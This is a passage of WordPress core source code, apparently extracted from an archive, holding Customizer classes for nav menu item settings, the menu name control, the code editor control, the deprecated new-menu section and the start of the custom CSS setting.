	const POST_TYPE = 'nav_menu_item';

	const TYPE = 'nav_menu_item';

	/**
	 * Setting type.
	 *
	 * @since 4.3.0
	 * @var string
	 */
	public $type = self::TYPE;

	/**
	 * Default setting value.
	 *
	 * @since 4.3.0
	 * @var array
	 *
	 * @see wp_setup_nav_menu_item()
	 */
	public $default = array(
		// The $menu_item_data for wp_update_nav_menu_item().
		'object_id'        => 0,
		'object'           => '', // Taxonomy name.
		'menu_item_parent' => 0, // A.K.A. menu-item-parent-id; note that post_parent is different, and not included.
		'position'         => 0, // A.K.A. menu_order.
		'type'             => 'custom', // Note that type_label is not included here.
		'title'            => '',
		'url'              => '',
		'target'           => '',
		'attr_title'       => '',
		'description'      => '',
		'classes'          => '',
		'xfn'              => '',
		'status'           => 'publish',
		'nav_menu_term_id' => 0, // This will be supplied as the $menu_id arg for wp_update_nav_menu_item().
		'_invalid'         => false,
	);

	/**
	 * Default transport.
	 *
	 * @since 4.3.0
	 * @since 4.5.0 Default changed to 'refresh'
	 * @var string
	 */
	public $transport = 'refresh';

	/**
	 * The post ID represented by this setting instance. This is the db_id.
	 *
	 * A negative value represents a placeholder ID for a new menu not yet saved.
	 *
	 * @since 4.3.0
	 * @var int
	 */
	public $post_id;

	/**
	 * Storage of pre-setup menu item to prevent wasted calls to wp_setup_nav_menu_item().
	 *
	 * @since 4.3.0
	 * @var array
	 */
	protected $value;

	/**
	 * Previous (placeholder) post ID used before creating a new menu item.
	 *
	 * This value will be exported to JS via the customize_save_response filter
	 * so that JavaScript can update the settings to refer to the newly-assigned
	 * post ID. This value is always negative to indicate it does not refer to
	 * a real post.
	 *
	 * @since 4.3.0
	 * @var int
	 *
	 * @see WP_Customize_Nav_Menu_Item_Setting::update()
	 * @see WP_Customize_Nav_Menu_Item_Setting::amend_customize_save_response()
	 */
	public $previous_post_id;

	/**
	 * When previewing or updating a menu item, this stores the previous nav_menu_term_id
	 * which ensures that we can apply the proper filters.
	 *
	 * @since 4.3.0
	 * @var int
	 */
	public $original_nav_menu_term_id;

	/**
	 * Whether or not update() was called.
	 *
	 * @since 4.3.0
	 * @var bool
	 */
	protected $is_updated = false;

	/**
	 * Status for calling the update method, used in customize_save_response filter.
	 *
	 * See {@see 'customize_save_response'}.
	 *
	 * When status is inserted, the placeholder post ID is stored in $previous_post_id.
	 * When status is error, the error is stored in $update_error.
	 *
	 * @since 4.3.0
	 * @var string updated|inserted|deleted|error
	 *
	 * @see WP_Customize_Nav_Menu_Item_Setting::update()
	 * @see WP_Customize_Nav_Menu_Item_Setting::amend_customize_save_response()
	 */
	public $update_status;

	/**
	 * Any error object returned by wp_update_nav_menu_item() when setting is updated.
	 *
	 * @since 4.3.0
	 * @var WP_Error
	 *
	 * @see WP_Customize_Nav_Menu_Item_Setting::update()
	 * @see WP_Customize_Nav_Menu_Item_Setting::amend_customize_save_response()
	 */
	public $update_error;

	/**
	 * Constructor.
	 *
	 * Any supplied $args override class property defaults.
	 *
	 * @since 4.3.0
	 *
	 * @param WP_Customize_Manager $manager Bootstrap Customizer instance.
	 * @param string               $id      An specific ID of the setting. Can be a
	 *                                      theme mod or option name.
	 * @param array                $args    Optional. Setting arguments.
	 *
	 * @throws Exception If $id is not valid for this setting type.
	 */
	public function __construct( WP_Customize_Manager $manager, $id, array $args = array() ) {
		if ( empty( $manager->nav_menus ) ) {
			throw new Exception( 'Expected WP_Customize_Manager::$nav_menus to be set.' );
		}

		if ( ! preg_match( self::ID_PATTERN, $id, $matches ) ) {
			throw new Exception( "Illegal widget setting ID: $id" );
		}

		$this->post_id = intval( $matches['id'] );
		add_action( 'wp_update_nav_menu_item', array( $this, 'flush_cached_value' ), 10, 2 );

		parent::__construct( $manager, $id, $args );

		// Ensure that an initially-supplied value is valid.
		if ( isset( $this->value ) ) {
			$this->populate_value();
			foreach ( array_diff( array_keys( $this->default ), array_keys( $this->value ) ) as $missing ) {
				throw new Exception( "Supplied nav_menu_item value missing property: $missing" );
			}
		}

	}

	/**
	 * Clear the cached value when this nav menu item is updated.
	 *
	 * @since 4.3.0
	 *
	 * @param int $menu_id       The term ID for the menu.
	 * @param int $menu_item_id  The post ID for the menu item.
	 */
	public function flush_cached_value( $menu_id, $menu_item_id ) {
		unset( $menu_id );
		if ( $menu_item_id === $this->post_id ) {
			$this->value = null;
		}
	}

	/**
	 * Get the instance data for a given nav_menu_item setting.
	 *
	 * @since 4.3.0
	 *
	 * @see wp_setup_nav_menu_item()
	 *
	 * @return array|false Instance data array, or false if the item is marked for deletion.
	 */
	public function value() {
		$type_label = null;
		if ( $this->is_previewed && get_current_blog_id() === $this->_previewed_blog_id ) {
			$undefined  = new stdClass(); // Symbol.
			$post_value = $this->post_value( $undefined );

			if ( $undefined === $post_value ) {
				$value = $this->_original_value;
			} else {
				$value = $post_value;
			}
		} elseif ( isset( $this->value ) ) {
			$value = $this->value;
		} else {
			$value = false;

			// Note that a ID of less than one indicates a nav_menu not yet inserted.
			if ( $this->post_id > 0 ) {
				$post = get_post( $this->post_id );
				if ( $post && self::POST_TYPE === $post->post_type ) {
					$is_title_empty = empty( $post->post_title );
					$value = (array) wp_setup_nav_menu_item( $post );
					if ( isset( $value['type_label'] ) ) {
						$type_label = $value['type_label'];
					}
					if ( $is_title_empty ) {
						$value['title'] = '';
					}
				}
			}

			if ( ! is_array( $value ) ) {
				$value = $this->default;
			}

			// Cache the value for future calls to avoid having to re-call wp_setup_nav_menu_item().
			$this->value = $value;
			$this->populate_value();
			$value = $this->value;
		}

		// These properties are read-only and are part of the setting for use in the Customizer UI.
		if ( is_array( $value ) ) {
			$value_obj               = (object) $value;
			$value['type_label']     = isset( $type_label ) ? $type_label : $this->get_type_label( $value_obj );
			$value['original_title'] = $this->get_original_title( $value_obj );
		}

		return $value;
	}

	/**
	 * Prepares the value for editing on the client.
	 *
	 * @since 6.8.3
	 *
	 * @return array|false Value prepared for the client.
	 */
	public function js_value() {
		$value = parent::js_value();
		if ( is_array( $value ) && isset( $value['original_title'] ) ) {
			// Decode entities for the sake of displaying the original title as a placeholder.
			$value['original_title'] = html_entity_decode( $value['original_title'], ENT_QUOTES, get_bloginfo( 'charset' ) );
		}
		return $value;
	}

	/**
	 * Get original title.
	 *
	 * @since 4.7.0
	 *
	 * @param object $item Nav menu item.
	 * @return string The original title, without entity decoding.
	 */
	protected function get_original_title( $item ) {
		$original_title = '';
		if ( 'post_type' === $item->type && ! empty( $item->object_id ) ) {
			$original_object = get_post( $item->object_id );
			if ( $original_object ) {
				/** This filter is documented in wp-includes/post-template.php */
				$original_title = apply_filters( 'the_title', $original_object->post_title, $original_object->ID );

				if ( '' === $original_title ) {
					/* translators: %d: ID of a post */
					$original_title = sprintf( __( '#%d (no title)' ), $original_object->ID );
				}
			}
		} elseif ( 'taxonomy' === $item->type && ! empty( $item->object_id ) ) {
			$original_term_title = get_term_field( 'name', $item->object_id, $item->object, 'raw' );
			if ( ! is_wp_error( $original_term_title ) ) {
				$original_title = $original_term_title;
			}
		} elseif ( 'post_type_archive' === $item->type ) {
			$original_object = get_post_type_object( $item->object );
			if ( $original_object ) {
				$original_title = $original_object->labels->archives;
			}
		}
		return $original_title;
	}

	/**
	 * Get type label.
	 *
	 * @since 4.7.0
	 *
	 * @param object $item Nav menu item.
	 * @returns string The type label.
	 */
	protected function get_type_label( $item ) {
		if ( 'post_type' === $item->type ) {
			$object = get_post_type_object( $item->object );
			if ( $object ) {
				$type_label = $object->labels->singular_name;
			} else {
				$type_label = $item->object;
			}
		} elseif ( 'taxonomy' === $item->type ) {
			$object = get_taxonomy( $item->object );
			if ( $object ) {
				$type_label = $object->labels->singular_name;
			} else {
				$type_label = $item->object;
			}
		} elseif ( 'post_type_archive' === $item->type ) {
			$type_label = __( 'Post Type Archive' );
		} else {
			$type_label = __( 'Custom Link' );
		}
		return $type_label;
	}

	/**
	 * Ensure that the value is fully populated with the necessary properties.
	 *
	 * Translates some properties added by wp_setup_nav_menu_item() and removes others.
	 *
	 * @since 4.3.0
	 *
	 * @see WP_Customize_Nav_Menu_Item_Setting::value()
	 */
	protected function populate_value() {
		if ( ! is_array( $this->value ) ) {
			return;
		}

		if ( isset( $this->value['menu_order'] ) ) {
			$this->value['position'] = $this->value['menu_order'];
			unset( $this->value['menu_order'] );
		}
		if ( isset( $this->value['post_status'] ) ) {
			$this->value['status'] = $this->value['post_status'];
			unset( $this->value['post_status'] );
		}

		if ( ! isset( $this->value['nav_menu_term_id'] ) && $this->post_id > 0 ) {
			$menus = wp_get_post_terms( $this->post_id, WP_Customize_Nav_Menu_Setting::TAXONOMY, array(
				'fields' => 'ids',
			) );
			if ( ! empty( $menus ) ) {
				$this->value['nav_menu_term_id'] = array_shift( $menus );
			} else {
				$this->value['nav_menu_term_id'] = 0;
			}
		}

		foreach ( array( 'object_id', 'menu_item_parent', 'nav_menu_term_id' ) as $key ) {
			if ( ! is_int( $this->value[ $key ] ) ) {
				$this->value[ $key ] = intval( $this->value[ $key ] );
			}
		}
		foreach ( array( 'classes', 'xfn' ) as $key ) {
			if ( is_array( $this->value[ $key ] ) ) {
				$this->value[ $key ] = implode( ' ', $this->value[ $key ] );
			}
		}

		if ( ! isset( $this->value['title'] ) ) {
			$this->value['title'] = '';
		}

		if ( ! isset( $this->value['_invalid'] ) ) {
			$this->value['_invalid'] = false;
			$is_known_invalid = (
				( ( 'post_type' === $this->value['type'] || 'post_type_archive' === $this->value['type'] ) && ! post_type_exists( $this->value['object'] ) )
				||
				( 'taxonomy' === $this->value['type'] && ! taxonomy_exists( $this->value['object'] ) )
			);
			if ( $is_known_invalid ) {
				$this->value['_invalid'] = true;
			}
		}

		// Remove remaining properties available on a setup nav_menu_item post object which aren't relevant to the setting value.
		$irrelevant_properties = array(
			'ID',
			'comment_count',
			'comment_status',
			'db_id',
			'filter',
			'guid',
			'ping_status',
			'pinged',
			'post_author',
			'post_content',
			'post_content_filtered',
			'post_date',
			'post_date_gmt',
			'post_excerpt',
			'post_mime_type',
			'post_modified',
			'post_modified_gmt',
			'post_name',
			'post_parent',
			'post_password',
			'post_title',
			'post_type',
			'to_ping',
		);
		foreach ( $irrelevant_properties as $property ) {
			unset( $this->value[ $property ] );
		}
	}

	/**
	 * Handle previewing the setting.
	 *
	 * @since 4.3.0
	 * @since 4.4.0 Added boolean return value.
	 *
	 * @see WP_Customize_Manager::post_value()
	 *
	 * @return bool False if method short-circuited due to no-op.
	 */
	public function preview() {
		if ( $this->is_previewed ) {
			return false;
		}

		$undefined = new stdClass();
		$is_placeholder = ( $this->post_id < 0 );
		$is_dirty = ( $undefined !== $this->post_value( $undefined ) );
		if ( ! $is_placeholder && ! $is_dirty ) {
			return false;
		}

		$this->is_previewed              = true;
		$this->_original_value           = $this->value();
		$this->original_nav_menu_term_id = $this->_original_value['nav_menu_term_id'];
		$this->_previewed_blog_id        = get_current_blog_id();

		add_filter( 'wp_get_nav_menu_items', array( $this, 'filter_wp_get_nav_menu_items' ), 10, 3 );

		$sort_callback = array( __CLASS__, 'sort_wp_get_nav_menu_items' );
		if ( ! has_filter( 'wp_get_nav_menu_items', $sort_callback ) ) {
			add_filter( 'wp_get_nav_menu_items', array( __CLASS__, 'sort_wp_get_nav_menu_items' ), 1000, 3 );
		}

		// @todo Add get_post_metadata filters for plugins to add their data.

		return true;
	}

	/**
	 * Filters the wp_get_nav_menu_items() result to supply the previewed menu items.
	 *
	 * @since 4.3.0
	 *
	 * @see wp_get_nav_menu_items()
	 *
	 * @param array  $items An array of menu item post objects.
	 * @param object $menu  The menu object.
	 * @param array  $args  An array of arguments used to retrieve menu item objects.
	 * @return array Array of menu items,
	 */
	public function filter_wp_get_nav_menu_items( $items, $menu, $args ) {
		$this_item = $this->value();
		$current_nav_menu_term_id = $this_item['nav_menu_term_id'];
		unset( $this_item['nav_menu_term_id'] );

		$should_filter = (
			$menu->term_id === $this->original_nav_menu_term_id
			||
			$menu->term_id === $current_nav_menu_term_id
		);
		if ( ! $should_filter ) {
			return $items;
		}

		// Handle deleted menu item, or menu item moved to another menu.
		$should_remove = (
			false === $this_item
			||
			true === $this_item['_invalid']
			||
			(
				$this->original_nav_menu_term_id === $menu->term_id
				&&
				$current_nav_menu_term_id !== $this->original_nav_menu_term_id
			)
		);
		if ( $should_remove ) {
			$filtered_items = array();
			foreach ( $items as $item ) {
				if ( $item->db_id !== $this->post_id ) {
					$filtered_items[] = $item;
				}
			}
			return $filtered_items;
		}

		$mutated = false;
		$should_update = (
			is_array( $this_item )
			&&
			$current_nav_menu_term_id === $menu->term_id
		);
		if ( $should_update ) {
			foreach ( $items as $item ) {
				if ( $item->db_id === $this->post_id ) {
					foreach ( get_object_vars( $this->value_as_wp_post_nav_menu_item() ) as $key => $value ) {
						$item->$key = $value;
					}
					$mutated = true;
				}
			}

			// Not found so we have to append it..
			if ( ! $mutated ) {
				$items[] = $this->value_as_wp_post_nav_menu_item();
			}
		}

		return $items;
	}

	/**
	 * Re-apply the tail logic also applied on $items by wp_get_nav_menu_items().
	 *
	 * @since 4.3.0
	 * @static
	 *
	 * @see wp_get_nav_menu_items()
	 *
	 * @param array  $items An array of menu item post objects.
	 * @param object $menu  The menu object.
	 * @param array  $args  An array of arguments used to retrieve menu item objects.
	 * @return array Array of menu items,
	 */
	public static function sort_wp_get_nav_menu_items( $items, $menu, $args ) {
		// @todo We should probably re-apply some constraints imposed by $args.
		unset( $args['include'] );

		// Remove invalid items only in front end.
		if ( ! is_admin() ) {
			$items = array_filter( $items, '_is_valid_nav_menu_item' );
		}

		if ( ARRAY_A === $args['output'] ) {
			$items = wp_list_sort( $items, array(
				$args['output_key'] => 'ASC',
			) );
			$i = 1;

			foreach ( $items as $k => $item ) {
				$items[ $k ]->{$args['output_key']} = $i++;
			}
		}

		return $items;
	}

	/**
	 * Get the value emulated into a WP_Post and set up as a nav_menu_item.
	 *
	 * @since 4.3.0
	 *
	 * @return WP_Post With wp_setup_nav_menu_item() applied.
	 */
	public function value_as_wp_post_nav_menu_item() {
		$item = (object) $this->value();
		unset( $item->nav_menu_term_id );

		$item->post_status = $item->status;
		unset( $item->status );

		$item->post_type = 'nav_menu_item';
		$item->menu_order = $item->position;
		unset( $item->position );

		if ( empty( $item->title ) && ! empty( $item->original_title ) ) {
			$item->title = $item->original_title; // This is NOT entity-decoded. It comes from self::get_original_title().
		}
		if ( $item->title ) {
			$item->post_title = $item->title;
		}

		$item->ID = $this->post_id;
		$item->db_id = $this->post_id;
		$post = new WP_Post( (object) $item );

		if ( empty( $post->post_author ) ) {
			$post->post_author = get_current_user_id();
		}

		if ( ! isset( $post->type_label ) ) {
			$post->type_label = $this->get_type_label( $post );
		}

		// Ensure nav menu item URL is set according to linked object.
		if ( 'post_type' === $post->type && ! empty( $post->object_id ) ) {
			$post->url = get_permalink( $post->object_id );
		} elseif ( 'taxonomy' === $post->type && ! empty( $post->object ) && ! empty( $post->object_id ) ) {
			$post->url = get_term_link( (int) $post->object_id, $post->object );
		} elseif ( 'post_type_archive' === $post->type && ! empty( $post->object ) ) {
			$post->url = get_post_type_archive_link( $post->object );
		}
		if ( is_wp_error( $post->url ) ) {
			$post->url = '';
		}

		/** This filter is documented in wp-includes/nav-menu.php */
		$post->attr_title = apply_filters( 'nav_menu_attr_title', $post->attr_title );

		/** This filter is documented in wp-includes/nav-menu.php */
		$post->description = apply_filters( 'nav_menu_description', wp_trim_words( $post->description, 200 ) );

		/** This filter is documented in wp-includes/nav-menu.php */
		$post = apply_filters( 'wp_setup_nav_menu_item', $post );

		return $post;
	}

	/**
	 * Sanitize an input.
	 *
	 * Note that parent::sanitize() erroneously does wp_unslash() on $value, but
	 * we remove that in this override.
	 *
	 * @since 4.3.0
	 *
	 * @param array|false $value The menu item value to sanitize.
	 * @return array|false|null|WP_Error Null or WP_Error if an input isn't valid. False if it is marked for deletion.
	 *                                   Otherwise the sanitized value.
	 */
	public function sanitize( $menu_item_value ) {
		// Menu is marked for deletion.
		if ( false === $menu_item_value ) {
			return $menu_item_value;
		}

		// Invalid.
		if ( ! is_array( $menu_item_value ) ) {
			return null;
		}

		$default = array(
			'object_id'        => 0,
			'object'           => '',
			'menu_item_parent' => 0,
			'position'         => 0,
			'type'             => 'custom',
			'title'            => '',
			'url'              => '',
			'target'           => '',
			'attr_title'       => '',
			'description'      => '',
			'classes'          => '',
			'xfn'              => '',
			'status'           => 'publish',
			'original_title'   => '',
			'nav_menu_term_id' => 0,
			'_invalid'         => false,
		);
		$menu_item_value = array_merge( $default, $menu_item_value );
		$menu_item_value = wp_array_slice_assoc( $menu_item_value, array_keys( $default ) );
		$menu_item_value['position'] = intval( $menu_item_value['position'] );

		foreach ( array( 'object_id', 'menu_item_parent', 'nav_menu_term_id' ) as $key ) {
			// Note we need to allow negative-integer IDs for previewed objects not inserted yet.
			$menu_item_value[ $key ] = intval( $menu_item_value[ $key ] );
		}

		foreach ( array( 'type', 'object', 'target' ) as $key ) {
			$menu_item_value[ $key ] = sanitize_key( $menu_item_value[ $key ] );
		}

		foreach ( array( 'xfn', 'classes' ) as $key ) {
			$value = $menu_item_value[ $key ];
			if ( ! is_array( $value ) ) {
				$value = explode( ' ', $value );
			}
			$menu_item_value[ $key ] = implode( ' ', array_map( 'sanitize_html_class', $value ) );
		}

		// Apply the same filters as when calling wp_insert_post().

		/** This filter is documented in wp-includes/post.php */
		$menu_item_value['title'] = wp_unslash( apply_filters( 'title_save_pre', wp_slash( $menu_item_value['title'] ) ) );

		/** This filter is documented in wp-includes/post.php */
		$menu_item_value['attr_title'] = wp_unslash( apply_filters( 'excerpt_save_pre', wp_slash( $menu_item_value['attr_title'] ) ) );

		/** This filter is documented in wp-includes/post.php */
		$menu_item_value['description'] = wp_unslash( apply_filters( 'content_save_pre', wp_slash( $menu_item_value['description'] ) ) );

		if ( '' !== $menu_item_value['url'] ) {
			$menu_item_value['url'] = esc_url_raw( $menu_item_value['url'] );
			if ( '' === $menu_item_value['url'] ) {
				return new WP_Error( 'invalid_url', __( 'Invalid URL.' ) ); // Fail sanitization if URL is invalid.
			}
		}
		if ( 'publish' !== $menu_item_value['status'] ) {
			$menu_item_value['status'] = 'draft';
		}

		$menu_item_value['_invalid'] = (bool) $menu_item_value['_invalid'];

		/** This filter is documented in wp-includes/class-wp-customize-setting.php */
		return apply_filters( "customize_sanitize_{$this->id}", $menu_item_value, $this );
	}

	/**
	 * Creates/updates the nav_menu_item post for this setting.
	 *
	 * Any created menu items will have their assigned post IDs exported to the client
	 * via the {@see 'customize_save_response'} filter. Likewise, any errors will be
	 * exported to the client via the customize_save_response() filter.
	 *
	 * To delete a menu, the client can send false as the value.
	 *
	 * @since 4.3.0
	 *
	 * @see wp_update_nav_menu_item()
	 *
	 * @param array|false $value The menu item array to update. If false, then the menu item will be deleted
	 *                           entirely. See WP_Customize_Nav_Menu_Item_Setting::$default for what the value
	 *                           should consist of.
	 * @return null|void
	 */
	protected function update( $value ) {
		if ( $this->is_updated ) {
			return;
		}

		$this->is_updated = true;
		$is_placeholder   = ( $this->post_id < 0 );
		$is_delete        = ( false === $value );

		// Update the cached value.
		$this->value = $value;

		add_filter( 'customize_save_response', array( $this, 'amend_customize_save_response' ) );

		if ( $is_delete ) {
			// If the current setting post is a placeholder, a delete request is a no-op.
			if ( $is_placeholder ) {
				$this->update_status = 'deleted';
			} else {
				$r = wp_delete_post( $this->post_id, true );

				if ( false === $r ) {
					$this->update_error  = new WP_Error( 'delete_failure' );
					$this->update_status = 'error';
				} else {
					$this->update_status = 'deleted';
				}
				// @todo send back the IDs for all associated nav menu items deleted, so these settings (and controls) can be removed from Customizer?
			}
		} else {

			// Handle saving menu items for menus that are being newly-created.
			if ( $value['nav_menu_term_id'] < 0 ) {
				$nav_menu_setting_id = sprintf( 'nav_menu[%s]', $value['nav_menu_term_id'] );
				$nav_menu_setting    = $this->manager->get_setting( $nav_menu_setting_id );

				if ( ! $nav_menu_setting || ! ( $nav_menu_setting instanceof WP_Customize_Nav_Menu_Setting ) ) {
					$this->update_status = 'error';
					$this->update_error  = new WP_Error( 'unexpected_nav_menu_setting' );
					return;
				}

				if ( false === $nav_menu_setting->save() ) {
					$this->update_status = 'error';
					$this->update_error  = new WP_Error( 'nav_menu_setting_failure' );
					return;
				}

				if ( $nav_menu_setting->previous_term_id !== intval( $value['nav_menu_term_id'] ) ) {
					$this->update_status = 'error';
					$this->update_error  = new WP_Error( 'unexpected_previous_term_id' );
					return;
				}

				$value['nav_menu_term_id'] = $nav_menu_setting->term_id;
			}

			// Handle saving a nav menu item that is a child of a nav menu item being newly-created.
			if ( $value['menu_item_parent'] < 0 ) {
				$parent_nav_menu_item_setting_id = sprintf( 'nav_menu_item[%s]', $value['menu_item_parent'] );
				$parent_nav_menu_item_setting    = $this->manager->get_setting( $parent_nav_menu_item_setting_id );

				if ( ! $parent_nav_menu_item_setting || ! ( $parent_nav_menu_item_setting instanceof WP_Customize_Nav_Menu_Item_Setting ) ) {
					$this->update_status = 'error';
					$this->update_error  = new WP_Error( 'unexpected_nav_menu_item_setting' );
					return;
				}

				if ( false === $parent_nav_menu_item_setting->save() ) {
					$this->update_status = 'error';
					$this->update_error  = new WP_Error( 'nav_menu_item_setting_failure' );
					return;
				}

				if ( $parent_nav_menu_item_setting->previous_post_id !== intval( $value['menu_item_parent'] ) ) {
					$this->update_status = 'error';
					$this->update_error  = new WP_Error( 'unexpected_previous_post_id' );
					return;
				}

				$value['menu_item_parent'] = $parent_nav_menu_item_setting->post_id;
			}

			// Insert or update menu.
			$menu_item_data = array(
				'menu-item-object-id'   => $value['object_id'],
				'menu-item-object'      => $value['object'],
				'menu-item-parent-id'   => $value['menu_item_parent'],
				'menu-item-position'    => $value['position'],
				'menu-item-type'        => $value['type'],
				'menu-item-title'       => $value['title'],
				'menu-item-url'         => $value['url'],
				'menu-item-description' => $value['description'],
				'menu-item-attr-title'  => $value['attr_title'],
				'menu-item-target'      => $value['target'],
				'menu-item-classes'     => $value['classes'],
				'menu-item-xfn'         => $value['xfn'],
				'menu-item-status'      => $value['status'],
			);

			$r = wp_update_nav_menu_item(
				$value['nav_menu_term_id'],
				$is_placeholder ? 0 : $this->post_id,
				wp_slash( $menu_item_data )
			);

			if ( is_wp_error( $r ) ) {
				$this->update_status = 'error';
				$this->update_error = $r;
			} else {
				if ( $is_placeholder ) {
					$this->previous_post_id = $this->post_id;
					$this->post_id = $r;
					$this->update_status = 'inserted';
				} else {
					$this->update_status = 'updated';
				}
			}
		}

	}

	/**
	 * Export data for the JS client.
	 *
	 * @since 4.3.0
	 *
	 * @see WP_Customize_Nav_Menu_Item_Setting::update()
	 *
	 * @param array $data Additional information passed back to the 'saved' event on `wp.customize`.
	 * @return array Save response data.
	 */
	public function amend_customize_save_response( $data ) {
		if ( ! isset( $data['nav_menu_item_updates'] ) ) {
			$data['nav_menu_item_updates'] = array();
		}

		$data['nav_menu_item_updates'][] = array(
			'post_id'          => $this->post_id,
			'previous_post_id' => $this->previous_post_id,
			'error'            => $this->update_error ? $this->update_error->get_error_code() : null,
			'status'           => $this->update_status,
		);
		return $data;
	}
}
class-wp-customize-nav-menu-name-control.php000066600000002153151122675370015164 0ustar00<?php
/**
 * Customize API: WP_Customize_Nav_Menu_Name_Control class
 *
 * @package WordPress
 * @subpackage Customize
 * @since 4.4.0
 */

/**
 * Customize control to represent the name field for a given menu.
 *
 * @since 4.3.0
 *
 * @see WP_Customize_Control
 */
class WP_Customize_Nav_Menu_Name_Control extends WP_Customize_Control {

	/**
	 * Type of control, used by JS.
	 *
	 * @since 4.3.0
	 * @var string
	 */
	public $type = 'nav_menu_name';

	/**
	 * No-op since we're using JS template.
	 *
	 * @since 4.3.0
	 */
	protected function render_content() {}

	/**
	 * Render the Underscore template for this control.
	 *
	 * @since 4.3.0
	 */
	protected function content_template() {
		?>
		<label>
			<# if ( data.label ) { #>
				<span class="customize-control-title">{{ data.label }}</span>
			<# } #>
			<input type="text" class="menu-name-field live-update-section-title"
				<# if ( data.description ) { #>
					aria-describedby="{{ data.section }}-description"
				<# } #>
				/>
		</label>
		<# if ( data.description ) { #>
			<p id="{{ data.section }}-description">{{ data.description }}</p>
		<# } #>
		<?php
	}
}
class-wp-customize-code-editor-control.php000066600000004333151122675370014720 0ustar00<?php
/**
 * Customize API: WP_Customize_Code_Editor_Control class
 *
 * @package WordPress
 * @subpackage Customize
 * @since 4.9.0
 */

/**
 * Customize Code Editor Control class.
 *
 * @since 4.9.0
 *
 * @see WP_Customize_Control
 */
class WP_Customize_Code_Editor_Control extends WP_Customize_Control {

	/**
	 * Customize control type.
	 *
	 * @since 4.9.0
	 * @var string
	 */
	public $type = 'code_editor';

	/**
	 * Type of code that is being edited.
	 *
	 * @since 4.9.0
	 * @var string
	 */
	public $code_type = '';

	/**
	 * Code editor settings.
	 *
	 * @see wp_enqueue_code_editor()
	 * @since 4.9.0
	 * @var array|false
	 */
	public $editor_settings = array();

	/**
	 * Enqueue control related scripts/styles.
	 *
	 * @since 4.9.0
	 */
	public function enqueue() {
		$this->editor_settings = wp_enqueue_code_editor( array_merge(
			array(
				'type' => $this->code_type,
				'codemirror' => array(
					'indentUnit' => 2,
					'tabSize' => 2,
				),
			),
			$this->editor_settings
		) );
	}

	/**
	 * Refresh the parameters passed to the JavaScript via JSON.
	 *
	 * @since 4.9.0
	 * @see WP_Customize_Control::json()
	 *
	 * @return array Array of parameters passed to the JavaScript.
	 */
	public function json() {
		$json = parent::json();
		$json['editor_settings'] = $this->editor_settings;
		$json['input_attrs'] = $this->input_attrs;
		return $json;
	}

	/**
	 * Don't render the control content from PHP, as it's rendered via JS on load.
	 *
	 * @since 4.9.0
	 */
	public function render_content() {}

	/**
	 * Render a JS template for control display.
	 *
	 * @since 4.9.0
	 */
	public function content_template() {
		?>
		<# var elementIdPrefix = 'el' + String( Math.random() ); #>
		<# if ( data.label ) { #>
			<label for="{{ elementIdPrefix }}_editor" class="customize-control-title">
				{{ data.label }}
			</label>
		<# } #>
		<# if ( data.description ) { #>
			<span class="description customize-control-description">{{{ data.description }}}</span>
		<# } #>
		<div class="customize-control-notifications-container"></div>
		<textarea id="{{ elementIdPrefix }}_editor"
			<# _.each( _.extend( { 'class': 'code' }, data.input_attrs ), function( value, key ) { #>
				{{{ key }}}="{{ value }}"
			<# }); #>
			></textarea>
		<?php
	}
}
class-wp-customize-new-menu-section.php000066600000003211151122675370014233 0ustar00<?php
/**
 * Customize API: WP_Customize_New_Menu_Section class
 *
 * @package WordPress
 * @subpackage Customize
 * @since 4.4.0
 * @deprecated 4.9.0 This file is no longer used as of the menu creation UX introduced in #40104.
 */

/**
 * Customize Menu Section Class
 *
 * @since 4.3.0
 * @deprecated 4.9.0 This class is no longer used as of the menu creation UX introduced in #40104.
 *
 * @see WP_Customize_Section
 */
class WP_Customize_New_Menu_Section extends WP_Customize_Section {

	/**
	 * Control type.
	 *
	 * @since 4.3.0
	 * @var string
	 */
	public $type = 'new_menu';

	/**
	 * Constructor.
	 *
	 * Any supplied $args override class property defaults.
	 *
	 * @since 4.9.0
	 *
	 * @param WP_Customize_Manager $manager Customizer bootstrap instance.
	 * @param string               $id      An specific ID of the section.
	 * @param array                $args    Section arguments.
	 */
	public function __construct( WP_Customize_Manager $manager, $id, array $args = array() ) {
		_deprecated_file( basename( __FILE__ ), '4.9.0' ); // @todo Move this outside of class, and remove its require_once() from class-wp-customize-section.php. See #42364.
		parent::__construct( $manager, $id, $args );
	}

	/**
	 * Render the section, and the controls that have been added to it.
	 *
	 * @since 4.3.0
	 */
	protected function render() {
		?>
		<li id="accordion-section-<?php echo esc_attr( $this->id ); ?>" class="accordion-section-new-menu">
			<button type="button" class="button add-new-menu-item add-menu-toggle" aria-expanded="false">
				<?php echo esc_html( $this->title ); ?>
			</button>
			<ul class="new-menu-section-content"></ul>
		</li>
		<?php
	}
}
class-wp-customize-custom-css-setting.php000066600000011414151122675370014615 0ustar00<?php
/**
 * Customize API: WP_Customize_Custom_CSS_Setting class
 *
 * This handles validation, sanitization and saving of the value.
 *
 * @package WordPress
 * @subpackage Customize
 * @since 4.7.0
 */

/**
 * Custom Setting to handle WP Custom CSS.
 *
 * @since 4.7.0
 *
 * @see WP_Customize_Setting
 */
final class WP_Customize_Custom_CSS_Setting extends WP_Customize_Setting {

	/**
	 * The setting type.
	 *
	 * @since 4.7.0
	 * @var string
	 */
	public $type = 'custom_css';

	/**
	 * Setting Transport
	 *
	 * @since 4.7.0
	 * @var string
	 */
	public $transport = 'postMessage';

	/**
	 * Capability required to edit this setting.
	 *
	 * @since 4.7.0
	 * @var string
	 */
	public $capability = 'edit_css';

	/**
	 * Stylesheet
	 *
	 * @since 4.7.0
	 * @var string
	 */
	public $stylesheet = '';

	/**
	 * WP_Customize_Custom_CSS_Setting constructor.
	 *
	 * @since 4.7.0
	 *
	 * @throws Exception If the setting ID does not match the pattern `custom_css[$stylesheet]`.
	 *
	 * @param WP_Customize_Manager $manager The Customize Manager class.
	 * @param string               $id      An specific ID of the setting. Can be a
	 *                                      theme mod or option name.
	 * @param array                $args    Setting arguments.
	 */
	public function __construct( $manager, $id, $args = array() ) {
		parent::__construct( $manager, $id, $args );
		if ( 'custom_css' !== $this->id_data['base'] ) {
			throw new Exception( 'Expected custom_css id_base.' );
		}
		if ( 1 !== count( $this->id_data['keys'] ) || empty( $this->id_data['keys'][0] ) ) {
			throw new Exception( 'Expected single stylesheet key.' );
		}
		$this->stylesheet = $this->id_data['keys'][0];
	}

	/**
	 * Add filter to preview post value.
	 *
	 * @since 4.7.9
	 *
	 * @return bool False when preview short-circuits due no change needing to be previewed.
	 */
	public function preview() {
		if ( $this->is_previewed ) {
			return false;
		}
		$this->is_previewed = true;
